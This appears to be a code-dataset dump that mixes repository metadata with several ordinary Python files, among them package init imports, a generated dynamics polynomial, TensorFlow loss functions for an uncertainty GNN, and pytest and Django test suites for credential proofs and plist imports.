[ "Apache-2.0" ]

12

2020-05-10T12:11:06.000Z

2021-10-31T13:23:55.000Z

classicML/framework/__init__.py

sun1638650145/classicML

7e0c2155bccb6e491a150ee689d3786526b74565

[ "Apache-2.0" ]

null

classicML/framework/__init__.py

sun1638650145/classicML

7e0c2155bccb6e491a150ee689d3786526b74565

[ "Apache-2.0" ]

2

2021-01-17T06:22:05.000Z

2021-01-18T14:32:51.000Z

from classicML.framework import dtypes

19.5

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39

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null

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1

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1

0

1

0

6

7d78140f8b54ab8c3287ebf3089138e4854aa0af

19

py

Python

Driver/__init__.py

Lagikna/QuLab-drivers

badf3f975e38fbf79c5bdd4be16ff9e02c26e74f

[ "MIT" ]

16

2018-03-16T12:08:31.000Z

2022-03-20T08:53:35.000Z

Driver/__init__.py

Lagikna/QuLab-drivers

badf3f975e38fbf79c5bdd4be16ff9e02c26e74f

[ "MIT" ]

148

2018-03-18T09:33:18.000Z

2022-03-21T16:00:15.000Z

qulab/Driver/__init__.py

feihoo87/QuLab

cc16f4777e5523fca327f7f0a9725fd13f9b057f

[ "MIT" ]

14

2018-03-18T08:00:12.000Z

2020-10-21T12:39:42.000Z

from .Base import *

19

0.736842

3

19

4.666667

1

0

0.157895

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1

19

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true

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null

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null

0

1

0

1

0

1

0

6

7daa7c4a27c52bdb30c76be2ba495e74e8d066ed

38

py

Python

forge_sdk/protos/__init__.py

ArcBlock/forge-python-sdk

4e72d75d3c06b16554d660860708732c83b5f8b2

[ "Apache-2.0" ]

9

2019-05-08T01:30:22.000Z

2020-05-08T22:11:40.000Z

forge_sdk/protos/__init__.py

ArcBlock/forge-python-sdk

4e72d75d3c06b16554d660860708732c83b5f8b2

[ "Apache-2.0" ]

22

2019-05-14T18:36:17.000Z

2019-12-24T10:09:42.000Z

forge_sdk/protos/__init__.py

ArcBlock/forge-python-sdk

4e72d75d3c06b16554d660860708732c83b5f8b2

[ "Apache-2.0" ]

null

from forge_sdk.protos.protos import *

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null

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1

0

1

0

1

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6

7daed7254b206996a5970df83e419942d9e96b0a

174,759

py

Python

o/soft_robot/derivation_of_dynamics/derived/ikko_dake/eqs/numpy_style/G1.py

YoshimitsuMatsutaIe/ctrlab2021_soudan

7841c981e6804cc92d34715a00e7c3efce41d1d0

[ "MIT" ]

null

o/soft_robot/derivation_of_dynamics/derived/ikko_dake/eqs/numpy_style/G1.py

YoshimitsuMatsutaIe/ctrlab2021_soudan

7841c981e6804cc92d34715a00e7c3efce41d1d0

[ "MIT" ]

null

o/soft_robot/derivation_of_dynamics/derived/ikko_dake/eqs/numpy_style/G1.py

YoshimitsuMatsutaIe/ctrlab2021_soudan

7841c981e6804cc92d34715a00e7c3efce41d1d0

[ "MIT" ]

null

import numpy def f(q, q_dot, xi): l1, l2, l3 = q[0,0], q[1,0], q[2,0] l1_dot, l2_dot, l3_dot = q_dot[0,0], q_dot[1,0], q_dot[2,0] return 2.01913979602267e+28*l1**28 - 2.7258387246306e+29*l1**27*l2 - 2.1200967858238e+29*l1**27*l3 + 1.2114838776136e+28*l1**27 + 1.8525607628508e+30*l1**26*l2**2 + 2.47344625012777e+30*l1**26*l2*l3 - 1.77179517100989e+29*l1**26*l2 + 1.12567043628264e+30*l1**26*l3**2 - 1.49921129854683e+29*l1**26*l3 - 1.788718987827e+26*l1**26 - 8.34914305655373e+30*l1**25*l2**3 - 1.43207490032908e+31*l1**25*l2**2*l3 + 1.31976024917532e+30*l1**25*l2**2 - 1.12768957607866e+31*l1**25*l2*l3**2 + 1.96714694627508e+30*l1**25*l2*l3 + 1.87956337736624e+27*l1**25*l2 - 3.85150916091324e+30*l1**25*l3**3 + 9.65401214973338e+29*l1**25*l3**2 + 1.75956427676557e+27*l1**25*l3 - 1.51731257132758e+26*l1**25 + 2.7702598001431e+31*l1**24*l2**4 + 5.38353148114544e+31*l1**24*l2**3*l3 - 6.61243043949973e+30*l1**24*l2**3 + 5.44006739543407e+31*l1**24*l2**2*l3**2 - 1.31567149108837e+31*l1**24*l2**2*l3 - 8.14930511772943e+27*l1**24*l2**2 + 3.23011888868726e+31*l1**24*l2*l3**3 - 1.14326219175548e+31*l1**24*l2*l3**2 - 1.78662041200663e+28*l1**24*l2*l3 + 1.92364051179463e+27*l1**24*l2 + 8.93974144689036e+30*l1**24*l3**4 - 4.23413615225953e+30*l1**24*l3**3 - 6.829315011122e+27*l1**24*l3**2 + 1.86964091652432e+27*l1**24*l3 - 1.61579199302433e+25*l1**24 - 7.10434337230576e+31*l1**23*l2**5 - 1.43823327670695e+32*l1**23*l2**4*l3 + 2.48732783622542e+31*l1**23*l2**4 - 1.61026398732808e+32*l1**23*l2**3*l3**2 + 5.92052170989767e+31*l1**23*l2**3*l3 + 1.17422007240064e+28*l1**23*l2**3 - 1.20683985608275e+32*l1**23*l2**2*l3**3 + 6.90727532821394e+31*l1**23*l2**2*l3**2 + 8.25408954363249e+28*l1**23*l2**2*l3 - 1.16723737825743e+28*l1**23*l2**2 - 5.77776852631886e+31*l1**23*l2*l3**4 + 4.54124731523458e+31*l1**23*l2*l3**3 + 5.57781382780633e+28*l1**23*l2*l3**2 - 2.28226247179224e+28*l1**23*l2*l3 + 2.04390872264809e+26*l1**23*l2 - 1.26196237251417e+31*l1**23*l3**5 + 1.40516986254707e+31*l1**23*l3**4 + 1.1543188131109e+28*l1**23*l3**3 - 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smart_flies/__init__.py

AdamSpannbauer/py_smart_flies

40b91651779c441be45f8a92841409f32acf1442

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smart_flies/__init__.py

AdamSpannbauer/py_smart_flies

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smart_flies/__init__.py

AdamSpannbauer/py_smart_flies

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from .smart_flies import SmartFlies

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roomai/common/__init__.py

yooyoo2004/RoomAI

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roomai/common/__init__.py

yooyoo2004/RoomAI

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[ "MIT" ]

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roomai/common/__init__.py

yooyoo2004/RoomAI

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2021-08-15T16:19:01.000Z

#!/bin/python from common import AbstractPlayer from common import AbstractEnv from common import AbstractPublicState from common import AbsractPersonState from common import AbstractPrivateState from common import AbstractAction from common import PokerCard from common import Info

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wxparams/__init__.py

Yoshiki443/weather_parameters

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2020-04-26T20:25:56.000Z

2022-03-10T09:41:54.000Z

wxparams/__init__.py

Yoshiki443/weather_parameters

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wxparams/__init__.py

Yoshiki443/weather_parameters

ae2c9ed02f68968cb6ea0610d556f3c68bbc923e

[ "MIT" ]

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2020-06-08T04:54:30.000Z

from .wxparams import *

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Uncertainty-GNN/metrics.py

YuzhouLin/uncertainty-GNN

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[ "MIT" ]

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2020-10-23T01:27:11.000Z

2022-03-08T15:37:55.000Z

Uncertainty-GNN/metrics.py

YuzhouLin/uncertainty-GNN

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2021-02-08T16:40:57.000Z

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Uncertainty-GNN/metrics.py

YuzhouLin/uncertainty-GNN

14f68353ea7b66c17a86497760ef4ceca197304c

[ "MIT" ]

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2020-10-28T09:36:17.000Z

2022-03-05T01:28:37.000Z

import tensorflow as tf import numpy as np import tensorflow_probability as tfp tfd = tfp.distributions def masked_softmax_cross_entropy(preds, labels, mask): """Softmax cross-entropy loss with masking.""" loss = tf.nn.softmax_cross_entropy_with_logits(logits=preds, labels=labels) mask = tf.cast(mask, dtype=tf.float32) mask /= tf.reduce_mean(mask) loss *= mask return tf.reduce_mean(loss) def masked_cross_entropy(preds, labels, mask): """Softmax cross-entropy loss with masking.""" alpha = tf.pow(1.5, preds) + 1.0 # alpha = tf.exp(preds) + 1.0 S = tf.reduce_sum(alpha, axis=1, keepdims=True) prob = tf.div(alpha, S) loss = -labels * tf.log(prob) loss = tf.reduce_sum(loss, axis=1) # loss = tf.nn.softmax_cross_entropy_with_logits(logits=preds, labels=labels) mask = tf.cast(mask, dtype=tf.float32) mask /= tf.reduce_mean(mask) loss *= mask return tf.reduce_mean(loss) def masked_cross_entropy_relu(preds, labels, mask): """Softmax cross-entropy loss with masking.""" alpha = preds + 1.0 S = tf.reduce_sum(alpha, axis=1, keepdims=True) prob = tf.div(alpha, S) loss = -labels * tf.log(prob) loss = tf.reduce_sum(loss, axis=1) # loss = tf.nn.softmax_cross_entropy_with_logits(logits=preds, labels=labels) mask = tf.cast(mask, dtype=tf.float32) mask /= tf.reduce_mean(mask) loss *= mask return tf.reduce_mean(loss) def masked_cross_entropy_dirichlet(preds, labels, mask): """Softmax cross-entropy loss with masking.""" alpha = tf.exp(preds) + 1.0 S = tf.reduce_sum(alpha, axis=1, keepdims=True) s_digmma = tf.digamma(S) loss = labels * (s_digmma - tf.digamma(alpha)) loss = tf.reduce_sum(loss, axis=1) # loss = tf.nn.softmax_cross_entropy_with_logits(logits=preds, labels=labels) mask = tf.cast(mask, dtype=tf.float32) mask /= tf.reduce_mean(mask) loss *= mask return tf.reduce_mean(loss) def masked_square_error_edl(preds, labels, mask): """Softmax cross-entropy loss with masking.""" preds = preds + 1.0 S = tf.reduce_sum(preds, axis=1, keepdims=True) prob = tf.div(preds, S) loss = tf.square(prob - labels) + prob * (1 - prob) / (S + 1.0) loss = tf.reduce_sum(loss, axis=1) mask = tf.cast(mask, dtype=tf.float32) mask /= tf.reduce_mean(mask) loss *= mask return tf.reduce_mean(loss) def masked_square_error_dirichlet(preds, labels, mask): """Softmax cross-entropy loss with masking.""" alpha = tf.exp(preds) + 1.0 # alpha = tf.pow(1.5, preds) + 1.0 S = tf.reduce_sum(alpha, axis=1, keepdims=True) prob = tf.div(alpha, S) loss = tf.square(prob - labels) + prob * (1 - prob) / (S + 1.0) loss = tf.reduce_sum(loss, axis=1) mask = tf.cast(mask, dtype=tf.float32) mask /= tf.reduce_mean(mask) loss *= mask return tf.reduce_mean(loss) def masked_DPN(preds, labels, mask): preds_alpha = tf.exp(preds) + 1.0 Dir_predict = tfd.Dirichlet(preds_alpha) prior_alpha = labels*50 + 1.1 Dir_ori = tfd.Dirichlet(prior_alpha) KL_term = Dir_predict.kl_divergence(Dir_ori) # KL_term = Dir_ori.kl_divergence(Dir_predict) mask = tf.cast(mask, dtype=tf.float32) mask /= tf.reduce_mean(mask) loss = KL_term * mask return tf.reduce_mean(loss) def masked_square_error_dirichlet2(preds, labels, mask): """Softmax cross-entropy loss with masking.""" alpha = preds + 2.0 # alpha = tf.pow(1.5, preds) + 1.0 S = tf.reduce_sum(alpha, axis=1, keepdims=True) prob = tf.div(alpha, S) loss = tf.square(prob - labels) + prob * (1 - prob) / (S + 1.0) loss = tf.reduce_sum(loss, axis=1) mask = tf.cast(mask, dtype=tf.float32) mask /= tf.reduce_mean(mask) loss *= mask return tf.reduce_mean(loss) def masked_kl_edl(preds, label, labels_num, mask): K = labels_num alpha = preds * (1.0 - label) + 1.0 beta = tf.constant(np.ones((1, K)), dtype=tf.float32) S_alpha = tf.reduce_sum(alpha, axis=1, keep_dims=True) S_beta = tf.reduce_sum(beta, axis=1, keep_dims=True) lnB = tf.lgamma(S_alpha) - tf.reduce_sum(tf.lgamma(alpha), axis=1, keep_dims=True) lnB_uni = tf.reduce_sum(tf.lgamma(beta), axis=1, keep_dims=True) - tf.lgamma(S_beta) dg0 = tf.digamma(S_alpha) dg1 = tf.digamma(alpha) kl = tf.reduce_sum((alpha - beta) * (dg1 - dg0), axis=1, keep_dims=True) + lnB + lnB_uni mask = tf.cast(mask, dtype=tf.float32) mask /= tf.reduce_mean(mask) loss = kl * mask return tf.reduce_mean(loss) def masked_kl_teacher(preds, gcn_pred): alpha = tf.exp(preds) + 1.0 S = tf.reduce_sum(alpha, axis=1, keep_dims=True) prob = tf.div(alpha, S) kl = prob * (tf.log(tf.div(prob, gcn_pred))) return tf.reduce_mean(kl) def masked_kl_prior(preds, prior_alpha, mask): preds_alpha = tf.exp(preds) + 1.0 Dir_predict = tfd.Dirichlet(preds_alpha) Dir_ori = tfd.Dirichlet(prior_alpha) KL_term = Dir_predict.kl_divergence(Dir_ori) # KL_term = Dir_ori.kl_divergence(Dir_predict) mask = tf.cast(mask, dtype=tf.float32) mask /= tf.reduce_mean(mask) loss = KL_term * mask return tf.reduce_mean(loss) def kl_prior(preds, prior_alpha): preds_alpha = tf.exp(preds) + 1.0 Dir_predict = tfd.Dirichlet(preds_alpha) Dir_ori = tfd.Dirichlet(prior_alpha) KL_term = Dir_predict.kl_divergence(Dir_ori) # KL_term = Dir_ori.kl_divergence(Dir_predict) loss = KL_term return tf.reduce_mean(loss) def masked_accuracy(preds, labels, mask): """Accuracy with masking.""" correct_prediction = tf.equal(tf.argmax(preds, 1), tf.argmax(labels, 1)) accuracy_all = tf.cast(correct_prediction, tf.float32) mask = tf.cast(mask, dtype=tf.float32) mask /= tf.reduce_mean(mask) accuracy_all *= mask return tf.reduce_mean(accuracy_all) def masked_accuracy_numpy(preds, labels, mask): """Accuracy with masking.""" correct_prediction = np.equal(np.argmax(preds, 1), np.argmax(labels, 1)) accuracy_all = np.asarray(correct_prediction, np.float32) mask = np.asarray(mask, dtype=np.float32) mask /= np.mean(mask) accuracy_all *= mask return np.mean(accuracy_all) def masked_accuracy_co(correct_prediction, mask): """Accuracy with masking.""" accuracy_all = np.array(correct_prediction, np.float32) mask = np.asarray(mask, dtype=np.float32) mask /= np.mean(mask) accuracy_all *= mask return np.mean(accuracy_all)

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8199d799e7f3fc1872018dbcde1e72b575d3c07b

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py

Python

django_products/utils/__init__.py

sasriawesome/django_products

a945dbf983748ff558583695c66226d579bfa4a0

[ "MIT" ]

null

django_products/utils/__init__.py

sasriawesome/django_products

a945dbf983748ff558583695c66226d579bfa4a0

[ "MIT" ]

4

2021-03-19T01:39:36.000Z

2021-06-04T22:49:28.000Z

django_products/utils/__init__.py

sasriawesome/django_products

a945dbf983748ff558583695c66226d579bfa4a0

[ "MIT" ]

null

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py

Python

wrappers/python/tests/anoncreds/test_prover_create_proof.py

absltkaos/indy-sdk

bc14c5b514dc1c76ce62dd7f6bf804120bf69f5e

[ "Apache-2.0" ]

null

wrappers/python/tests/anoncreds/test_prover_create_proof.py

absltkaos/indy-sdk

bc14c5b514dc1c76ce62dd7f6bf804120bf69f5e

[ "Apache-2.0" ]

null

wrappers/python/tests/anoncreds/test_prover_create_proof.py

absltkaos/indy-sdk

bc14c5b514dc1c76ce62dd7f6bf804120bf69f5e

[ "Apache-2.0" ]

null

import json import pytest from indy.anoncreds import prover_create_proof from indy import error @pytest.mark.asyncio async def test_prover_create_proof_works(wallet_handle, prepopulated_wallet, gvt_schema_id, gvt_schema, master_secret_id, proof_req, id_credential_1, issuer_1_gvt_cred_def_id): credential_def_json, _, _, _, _ = prepopulated_wallet requested_credentials = { "self_attested_attributes": {}, "requested_attributes": { "attr1_referent": {"cred_id": id_credential_1, "revealed": True} }, "requested_predicates": { "predicate1_referent": {"cred_id": id_credential_1} } } schemas = { gvt_schema_id: gvt_schema } credential_defs = { issuer_1_gvt_cred_def_id: json.loads(credential_def_json) } await prover_create_proof(wallet_handle, json.dumps(proof_req), json.dumps(requested_credentials), master_secret_id, json.dumps(schemas), json.dumps(credential_defs), "{}") @pytest.mark.asyncio async def test_prover_create_proof_works_for_using_not_satisfy_credential(wallet_handle, prepopulated_wallet, gvt_schema_id, gvt_schema, master_secret_id, id_credential_1, issuer_1_gvt_cred_def_id): credential_def_json, _, _, _, _ = prepopulated_wallet proof_req = { "nonce": "123432421212", "name": "proof_req_1", "version": "0.1", "requested_attributes": { "attr1_referent": { "name": "some_attr" } }, "requested_predicates": {} } requested_credentials = { "self_attested_attributes": {}, "requested_attributes": { "attr1_referent": {"cred_id": id_credential_1, "revealed": True} }, "requested_predicates": { } } schemas = { gvt_schema_id: gvt_schema } credential_defs = { issuer_1_gvt_cred_def_id: json.loads(credential_def_json) } with pytest.raises(error.CommonInvalidStructure): await prover_create_proof(wallet_handle, json.dumps(proof_req), json.dumps(requested_credentials), master_secret_id, json.dumps(schemas), json.dumps(credential_defs), "{}") @pytest.mark.asyncio async def test_prover_create_proof_works_for_invalid_wallet_handle(wallet_handle, prepopulated_wallet, gvt_schema_id, gvt_schema, master_secret_id, proof_req, id_credential_1, issuer_1_gvt_cred_def_id): credential_def_json, _, _, _, _ = prepopulated_wallet requested_credentials = { "self_attested_attributes": {}, "requested_attributes": { "attr1_referent": {"cred_id": id_credential_1, "revealed": True} }, "requested_predicates": { "predicate1_referent": {"cred_id": id_credential_1} } } schemas = { gvt_schema_id: gvt_schema } credential_defs = { issuer_1_gvt_cred_def_id: json.loads(credential_def_json) } invalid_wallet_handle = wallet_handle + 100 with pytest.raises(error.WalletInvalidHandle): await prover_create_proof(invalid_wallet_handle, json.dumps(proof_req), json.dumps(requested_credentials), master_secret_id, json.dumps(schemas), json.dumps(credential_defs), "{}")

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c4c910f754089e4dab392cb97849880e6e66bb37

42,621

py

Python

gsb/tests/test_import_plist.py

pfrancois/grisbi_django

4e27149522847c78ab9c0f0a06f0b1d371f7c205

[ "BSD-3-Clause" ]

null

gsb/tests/test_import_plist.py

pfrancois/grisbi_django

4e27149522847c78ab9c0f0a06f0b1d371f7c205

[ "BSD-3-Clause" ]

null

gsb/tests/test_import_plist.py

pfrancois/grisbi_django

4e27149522847c78ab9c0f0a06f0b1d371f7c205

[ "BSD-3-Clause" ]

null

# -*- coding: utf-8 -* """ test import """ from django.test.utils import override_settings from django.conf import settings import os.path import datetime import django.utils.timezone as tz from gsb.io import lecture_plist from gsb import models from .test_imports_csv import Test_import_abstract from gsb.io.lecture_plist import Lecture_plist_exception from gsb.io.ecriture_plist_money_journal import Export_icompta_plist import mock from testfixtures import compare import collections class Test_element(Test_import_abstract): def test_ope(self): fich = os.path.join(settings.PROJECT_PATH, "gsb", "test_files", "import_plist", 'Applications', 'Money Journal', 'log', "1402954705000.log") ele = lecture_plist.collection_datas_decodes(fich) self.compare(ele.datemaj, datetime.datetime(2014, 6, 16, 21, 38, 25, tzinfo=tz.utc)) el = ele.list_el[0] self.compare(el.device, 'MyHpyVfqnK') self.compare(el.action, 'c') self.compare(el.sens_element, 'd') self.compare(el.is_ope, True) self.compare(el.is_cat, False) self.compare(el.is_compte, False) self.compare(el.is_budget, False) self.compare(el.lastup, datetime.datetime(2014, 6, 16, 21, 38, 25, tzinfo=tz.utc)) self.compare(el.id, 66) self.compare(el.cat, 1) self.compare(el.automatique, False) self.compare(el.date, datetime.date(2014, 6, 16)) self.compare(el.montant, -10.25) self.compare(el.tiers, 'Ope standart') self.compare(el.__str__(), "(66) le 16/06/2014 : -10.25 EUR tiers: Ope standart cpt: 1") ele = lecture_plist.collection_datas_decodes( os.path.join(settings.PROJECT_PATH, "gsb", "test_files", "import_plist", 'Applications', 'Money Journal', 'log', "1403036267000.log")) self.compare(ele.datemaj, datetime.datetime(2014, 6, 17, 20, 17, 47, tzinfo=tz.utc)) el = ele.list_el[0] self.compare(el.device, 'MyHpyVfqnK') self.compare(el.action, 'm') self.compare(el.sens_element, 'd') self.compare(el.is_ope, True) self.compare(el.is_cat, False) self.compare(el.is_compte, False) self.compare(el.is_budget, False) self.compare(el.lastup, datetime.datetime(2014, 6, 17, 20, 17, 47, 95470, tzinfo=tz.utc)) self.compare(el.id, 66) self.compare(el.cat, 1) self.compare(el.automatique, False) self.compare(el.date, datetime.date(2014, 6, 16)) self.compare(el.montant, -55) self.compare(el.tiers, 'Ope standart') ele = lecture_plist.collection_datas_decodes( os.path.join(settings.PROJECT_PATH, "gsb", "test_files", "import_plist", 'Applications', 'Money Journal', 'log', "1403037219000.log")) self.compare(ele.datemaj, datetime.datetime(2014, 6, 17, 20, 33, 39, tzinfo=tz.utc)) el = ele.list_el[0] self.compare(el.device, 'MyHpyVfqnK') self.compare(el.action, 'd') self.compare(el.sens_element, 'd') self.compare(el.is_ope, True) self.compare(el.is_cat, False) self.compare(el.is_compte, False) self.compare(el.is_budget, False) self.compare(el.lastup, datetime.datetime(2014, 6, 17, 20, 17, 47, 95470, tzinfo=tz.utc)) self.compare(el.id, 66) self.compare(el.cat, 1) self.compare(el.automatique, False) self.compare(el.date, datetime.date(2014, 6, 16)) self.compare(el.montant, -55) self.compare(el.tiers, 'Ope standart') def test_compte(self): el = lecture_plist.collection_datas_decodes( os.path.join(settings.PROJECT_PATH, "gsb", "test_files", "import_plist", 'Applications', 'Money Journal', 'log', "1403040634000.log")).list_el[0] self.compare(el.device, 'MyHpyVfqnK') self.compare(el.datemaj, datetime.datetime(2014, 6, 17, 21, 30, 34, tzinfo=tz.utc)) self.compare(el.action, 'c') self.compare(el.is_ope, False) self.compare(el.is_cat, False) self.compare(el.is_compte, True) self.compare(el.is_budget, False) self.compare(el.lastup, datetime.datetime(2014, 6, 17, 21, 30, 34, tzinfo=tz.utc)) self.compare(el.id, 7) self.compare(el.couleur, "#000000") self.compare(el.nom, " ") el = lecture_plist.collection_datas_decodes( os.path.join(settings.PROJECT_PATH, "gsb", "test_files", "import_plist", 'Applications', 'Money Journal', 'log', "1403040635000.log")).list_el[0] self.compare(el.device, 'MyHpyVfqnK') self.compare(el.datemaj, datetime.datetime(2014, 6, 17, 21, 30, 35, tzinfo=tz.utc)) self.compare(el.action, 'm') self.compare(el.is_ope, False) self.compare(el.is_cat, False) self.compare(el.is_compte, True) self.compare(el.is_budget, False) self.compare(el.lastup, datetime.datetime(2014, 6, 17, 21, 30, 34, 88255, tzinfo=tz.utc)) self.compare(el.id, 7) self.compare(el.couleur, '#000000') self.compare(el.nom, "Ghh") self.compare(el.__str__(), "(7) 'Ghh'") el = lecture_plist.collection_datas_decodes( os.path.join(settings.PROJECT_PATH, "gsb", "test_files", "import_plist", 'Applications', 'Money Journal', 'log', "1403045414000.log")).list_el[0] self.compare(el.device, 'MyHpyVfqnK') self.compare(el.datemaj, datetime.datetime(2014, 6, 17, 22, 50, 14, tzinfo=tz.utc)) self.compare(el.action, 'd') self.compare(el.is_ope, False) self.compare(el.is_cat, False) self.compare(el.is_compte, True) self.compare(el.is_budget, False) self.compare(el.lastup, datetime.datetime(2014, 6, 17, 21, 30, 34, 88255, tzinfo=tz.utc)) self.compare(el.id, 7) self.compare(el.couleur, "#000000") self.compare(el.nom, "Ghh") def test_element_cat(self): el = lecture_plist.collection_datas_decodes( os.path.join(settings.PROJECT_PATH, "gsb", "test_files", "import_plist", 'Applications', 'Money Journal', 'log', "1403049014000.log")).list_el[0] self.compare(el.device, 'MyHpyVfqnK') self.compare(el.datemaj, datetime.datetime(2014, 6, 17, 23, 50, 14, tzinfo=tz.utc)) self.compare(el.action, 'c') self.compare(el.is_ope, False) self.compare(el.is_cat, True) self.compare(el.is_compte, False) self.compare(el.is_budget, False) self.compare(el.lastup, datetime.datetime(2014, 6, 17, 23, 50, 14, tzinfo=tz.utc)) self.compare(el.id, 16) self.compare(el.couleur, '#000000') self.compare(el.nom, " ") self.compare(el.type_cat, "d") el = lecture_plist.collection_datas_decodes( os.path.join(settings.PROJECT_PATH, "gsb", "test_files", "import_plist", 'Applications', 'Money Journal', 'log', "1403049014010.log")).list_el[0] self.compare(el.device, 'MyHpyVfqnK') self.compare(el.datemaj, datetime.datetime(2014, 6, 17, 23, 50, 14, 10000, tzinfo=tz.utc)) self.compare(el.action, 'm') self.compare(el.is_ope, False) self.compare(el.is_cat, True) self.compare(el.is_compte, False) self.compare(el.is_budget, False) self.compare(el.lastup, datetime.datetime(2014, 6, 17, 23, 50, 14, 10000, tzinfo=tz.utc)) self.compare(el.id, 16) self.compare(el.couleur, '#000000') self.compare(el.nom, "Cat aded") self.compare(el.type_cat, "d") self.compare(el.__str__(), "(16) 'Cat aded' type:d") el = lecture_plist.collection_datas_decodes( os.path.join(settings.PROJECT_PATH, "gsb", "test_files", "import_plist", 'Applications', 'Money Journal', 'log', "1403049014020.log")).list_el[0] self.compare(el.device, 'MyHpyVfqnK') self.compare(el.datemaj, datetime.datetime(2014, 6, 17, 23, 50, 14, 20000, tzinfo=tz.utc)) self.compare(el.action, 'd') self.compare(el.is_ope, False) self.compare(el.is_cat, True) self.compare(el.is_compte, False) self.compare(el.is_budget, False) self.compare(el.lastup, datetime.datetime(2014, 6, 17, 23, 50, 14, 10000, tzinfo=tz.utc)) self.compare(el.id, 16) self.compare(el.couleur, '#000000') self.compare(el.nom, "Cat aded") self.compare(el.type_cat, "d") class Test_check(Test_import_abstract): @override_settings(DIR_DROPBOX=os.path.join(settings.PROJECT_PATH, "gsb", "test_files", "import_plist")) def test_element_check(self): self.compare(lecture_plist.check(), True) # TODO improve it class Test_import_item_first_part(Test_import_abstract): def setUp(self): self.request = self.request_get('outils') self.lastmaj = datetime.datetime(2014, 6, 15, 00, 25, 14, tzinfo=tz.utc) @override_settings(DIR_DROPBOX=os.path.join(settings.PROJECT_PATH, "gsb", "test_files", "import_plist")) def test_element_import(self): """normalement il n'y a aucune operation""" self.lastmaj = datetime.datetime(2014, 6, 20, 00, 25, 14, tzinfo=tz.utc) self.compare(sorted(lecture_plist.import_items(lastmaj=self.lastmaj, request=self.request).most_common()), [('deja', 9)]) @override_settings(DIR_DROPBOX=os.path.join(settings.PROJECT_PATH, "gsb", "test_files", "import_plist")) def test_element_import2(self): """avec crea, modif et del de chaque type""" self.compare(sorted(lecture_plist.import_items(lastmaj=self.lastmaj, request=self.request).most_common()), [('categorie', 0), ('compte', 0), ('ope', 0)]) @override_settings(DIR_DROPBOX=os.path.join(settings.PROJECT_PATH, "gsb", "test_files", "import_plist_2")) def test_element_import3(self): """avec crea, modif de cat et compte""" self.compare(sorted(lecture_plist.import_items(lastmaj=self.lastmaj, request=self.request).most_common()), [('categorie', 1), ('compte', 1)]) self.assertmessagecontains(self.request, "catégorie (16) 'Cat aded' type:d créée") self.assertmessagecontains(self.request, "compte (7) 'Ghh' créé") class Test_item_modif_effectives_cote_cat(Test_import_abstract): def setUp(self): self.request = self.request_get('outils') self.lastmaj = datetime.datetime(2014, 6, 15, 00, 25, 14, tzinfo=tz.utc) self.cat = models.Cat.objects.create(pk=16, nom="Cat aded", type="d", couleur=0) @override_settings(DIR_DROPBOX=os.path.join(settings.PROJECT_PATH, "gsb", "test_files", "import_plist_3")) def test_element_import4(self): """teste modification standart""" self.cpt = models.Compte.objects.create(pk=7, nom='hjhjhkh', couleur='#FFFFFF') self.cat.nom = "Cat initial" self.cat.type = 'r' self.cat.couleur = '#FFFFFF' self.cat.save() self.compare(sorted(lecture_plist.import_items(lastmaj=self.lastmaj, request=self.request).most_common()), [('categorie', 1), ('compte', 1)]) self.assertmessagecontains(self.request, "catégorie (16) 'Cat aded' type:d modifiée comme ca: nom: Cat initial => Cat aded, couleur: #FFFFFF => #000000, type: r => d") self.assertmessagecontains(self.request, "compte (7) 'Ghh' modifié comme ca: nom: hjhjhkh => Ghh, couleur: #FFFFFF => #000000") cat = models.Cat.objects.get(pk=16) self.compare(cat.nom, 'Cat aded') self.compare(cat.couleur, '#000000') self.compare(cat.type, 'd') obj = models.Compte.objects.get(pk=7) self.compare(obj.nom, 'Ghh') @override_settings(DIR_DROPBOX=os.path.join(settings.PROJECT_PATH, "gsb", "test_files", "import_plist_5")) def test_element_import6(self): """ttest si cat deja cree""" with self.assertRaises(Lecture_plist_exception) as exception_context_manager: lecture_plist.import_items(lastmaj=self.lastmaj, request=self.request) self.compare(exception_context_manager.exception.args, ("attention la catégorie (16) 'Cat aded' type:d existe déja alors qu'on demande de la créer", )) @override_settings(DIR_DROPBOX=os.path.join(settings.PROJECT_PATH, "gsb", "test_files", "import_plist_6")) def test_element_import7(self): """ttest si modif alors que cat pas cree""" with self.assertRaises(Lecture_plist_exception) as exception_context_manager: lecture_plist.import_items(lastmaj=self.lastmaj, request=self.request) self.compare(exception_context_manager.exception.args, ( "attention la catégorie (1111) 'Cat aded' type:d n'existe pas alors qu'on demande de la modifier", )) @override_settings(DIR_DROPBOX=os.path.join(settings.PROJECT_PATH, "gsb", "test_files", "import_plist_8")) @override_settings(ID_CAT_OST=2) def test_element_import8(self): """ttest si modif alors que cat par defaut""" models.Cat.objects.create(pk=2, nom="Cat ost", type="r", couleur='#FFFFFF') lecture_plist.import_items(lastmaj=self.lastmaj, request=self.request) self.assertmessagecontains(self.request, "impossible de modifier la cat (2) 'Cat aded' type:d") @override_settings(DIR_DROPBOX=os.path.join(settings.PROJECT_PATH, "gsb", "test_files", "import_plist_9")) def test_element_import9(self): """ttest si modif cat avec le nom deja cree""" self.cat.type = 'r' self.cat.couleur = '#FFFFFF' self.cat.save() lecture_plist.import_items(lastmaj=self.lastmaj, request=self.request) self.assertmessagecontains(self.request, "catégorie (16) 'Cat aded' type:d modifiée comme ca: couleur: #FFFFFF => #000000, type: r => d") @override_settings(DIR_DROPBOX=os.path.join(settings.PROJECT_PATH, "gsb", "test_files", "import_plist_10")) def test_element_import10(self): """ttest si suppr alors que cat pas cree""" self.cat.delete() with self.assertRaises(Lecture_plist_exception) as exception_context_manager: lecture_plist.import_items(lastmaj=self.lastmaj, request=self.request) self.compare(exception_context_manager.exception.args, ( "attention la catégorie (16) 'Cat aded' type:d n'existe pas alors qu'on demande de la supprimer", )) @override_settings(DIR_DROPBOX=os.path.join(settings.PROJECT_PATH, "gsb", "test_files", "import_plist_11")) def test_element_import11(self): """ttest si suppr alors que cat deja utilise ds ope""" self.cpt = models.Compte.objects.create(pk=7, nom='Ghh', couleur=0) self.moyen = models.Moyen.objects.create(id=settings.MD_CREDIT, nom="dd", type="r") self.ope = models.Ope.objects.create(compte=self.cpt, date=datetime.date(2014, 6, 15), montant=250, tiers=models.Tiers.objects.get_or_create(nom="tiers", defaults={'nom': "tiers"})[0], cat=self.cat, moyen=self.moyen) with self.assertRaises(Lecture_plist_exception) as exception_context_manager: lecture_plist.import_items(lastmaj=self.lastmaj, request=self.request) self.compare(("catégorie non supprimable (16) 'Cat aded' type:d car elle a des opérations rattachées", ), exception_context_manager.exception.args) @override_settings(DIR_DROPBOX=os.path.join(settings.PROJECT_PATH, "gsb", "test_files", "import_plist_12")) @override_settings(ID_CAT_OST=2) def test_element_import12(self): """tente de 